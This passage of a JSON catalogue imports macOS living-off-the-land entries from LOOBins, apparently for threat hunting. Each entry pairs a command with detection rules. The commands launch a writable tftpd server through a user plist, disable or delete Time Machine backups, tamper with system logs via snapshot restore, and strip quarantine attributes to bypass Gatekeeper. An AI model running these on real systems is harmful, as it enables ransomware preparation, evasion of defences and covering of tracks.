       "command": "mkdir -p /tmp/tftp_server && chmod 777 /tmp/tftp_server\ntee /tmp/com.user.tftp.plist > /dev/null << 'EOF'\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n    <key>Label</key>\n    <string>com.user.tftp</string>\n    <key>WorkingDirectory</key>\n    <string>/tmp/tftp_server</string>\n    <key>ProgramArguments</key>\n    <array>\n        <string>/usr/libexec/tftpd</string>\n        <string>-w</string>\n        <string>-l</string>\n        <string>-u</string>\n        <string>$(whoami)</string>\n    </array>\n    <key>inetdCompatibility</key>\n    <dict>\n        <key>Wait</key>\n        <true/>\n    </dict>\n    <key>Sockets</key>\n    <dict>\n        <key>Listeners</key>\n        <dict>\n            <key>SockServiceName</key>\n            <string>6969</string>\n            <key>SockType</key>\n            <string>dgram</string>\n            <key>SockFamily</key>\n            <string>IPv4</string>\n        </dict>\n    </dict>\n</dict>\n</plist>\nEOF\nlaunchctl load -w /tmp/com.user.tftp.plist",
       "description": "Without root access, tftpd can be loaded from a user-created launchd plist stored anywhere on disk (e.g., /tmp). Passing the -w flag allows tftpd to create new files on write, removing the placeholder requirement. The server can be bound to any unprivileged port.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tftp",
         "/usr/libexec/tftpd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tftp.yml",
         "https://ss64.com/mac/tftp.html",
         "https://en.wikipedia.org/https://hackviser.com/tactics/pentesting/services/tftp",
         "https://www.stamus-networks.com/blog/uncovered-uncovering-risk-exposure-from-publicly-accessible-unauthenticated-tftp",
         "https://attack.mitre.org/techniques/T1105/",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:tmutil:00548da211e6bb02",
       "toolId": "loobins:tmutil",
       "toolName": "tmutil",
       "name": "Disable Time Machine",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Impact"
       ],
       "command": "tmutil disable",
       "description": "The following command disables Time Machine. An attacker can use this to prevent backups from occurring.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tmutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect the deletion of localsnapshots",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity"
         },
         {
           "type": "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml"
         },
         {
           "type": "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml"
         },
         {
           "type": "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tmutil.yml",
         "https://theevilbit.github.io/posts/cve_2020_9771/",
         "https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd"
       ]
     },
     {
       "id": "loobins:tmutil:597a7c20b410d2a8",
       "toolId": "loobins:tmutil",
       "toolName": "tmutil",
       "name": "Delete a backup",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Impact"
       ],
       "command": "tmutil delete /path/to/backup",
       "description": "The following command deletes the specified backup. An adversary may perform this action before launching a ransomware attack to prevent the victim from restoring their files.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tmutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect the deletion of localsnapshots",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity"
         },
         {
           "type": "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml"
         },
         {
           "type": "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml"
         },
         {
           "type": "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tmutil.yml",
         "https://theevilbit.github.io/posts/cve_2020_9771/",
         "https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd"
       ]
     },
     {
       "id": "loobins:tmutil:8e499d87e4d49768",
       "toolId": "loobins:tmutil",
       "toolName": "tmutil",
       "name": "Restore a backup",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection"
       ],
       "command": "tmutil restore /path/to/backup",
       "description": "The following command restore the specified backup. An attacker can use this to restore a backup of a sensitive file that was deleted.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tmutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect the deletion of localsnapshots",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity"
         },
         {
           "type": "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml"
         },
         {
           "type": "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml"
         },
         {
           "type": "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tmutil.yml",
         "https://theevilbit.github.io/posts/cve_2020_9771/",
         "https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd"
       ]
     },
     {
       "id": "loobins:tmutil:13d81191962d0f5c",
       "toolId": "loobins:tmutil",
       "toolName": "tmutil",
       "name": "Tamper with system logs",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Privilege Escalation"
       ],
       "nativeCategory": [
         "Privilege Escalation"
       ],
       "command": "mkdir /tmp/snapshot\ntmutil localsnapshot\ntmutil listlocalsnapshots /\nmount_apfs -o noowners -s com.apple.TimeMachine.2023-05-01-090000.local /System/Volumes/Data /tmp/snapshot\nopen /tmp/snapshot\nsudo vim /var/log/system.log\ntmutil restore com.apple.TimeMachine.2023-05-01-090000.local",
       "description": "An adversary can use the snapshot and restore commands together to tamper with system logs. This is fixed in macOS 10.15.4+.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tmutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect the deletion of localsnapshots",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity"
         },
         {
           "type": "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml"
         },
         {
           "type": "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml"
         },
         {
           "type": "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tmutil.yml",
         "https://theevilbit.github.io/posts/cve_2020_9771/",
         "https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd"
       ]
     },
     {
       "id": "loobins:tmutil:934af9b671652c59",
       "toolId": "loobins:tmutil",
       "toolName": "tmutil",
       "name": "Exclude path from backup",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "tmutil addexclusion /path/to/exclude",
       "description": "An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tmutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect the deletion of localsnapshots",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity"
         },
         {
           "type": "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml"
         },
         {
           "type": "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml"
         },
         {
           "type": "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tmutil.yml",
         "https://theevilbit.github.io/posts/cve_2020_9771/",
         "https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd"
       ]
     },
     {
       "id": "loobins:xattr:94a0b1454bdcb216",
       "toolId": "loobins:xattr",
       "toolName": "xattr",
       "name": "Bypass Gatekeeper via xattr",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion"
       ],
       "command": "xattr -d com.apple.quarantine FILE",
       "description": "Use xattr to remove quarantine extended attribute from a file.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/xattr"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Gatekeeper Bypass via Xattr",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml"
         },
         {
           "type": "Jamf Protect: Detect activity related to xattr and extended attributes",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/xattr_extended_attributes_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/xattr.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be"
       ]
     },
     {
       "id": "loobins:xattr:3110f6b06aa87ef5",
       "toolId": "loobins:xattr",
       "toolName": "xattr",
       "name": "Bypass Gatekeeper via xattr",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion"
       ],
       "command": "xattr -d -r com.apple.quarantine *",
       "description": "Use xattr to remove quarantine extended attribute from multiple files or directories.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/xattr"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Gatekeeper Bypass via Xattr",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml"
         },
         {
           "type": "Jamf Protect: Detect activity related to xattr and extended attributes",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/xattr_extended_attributes_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/xattr.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be"
       ]
     }
   ]
 }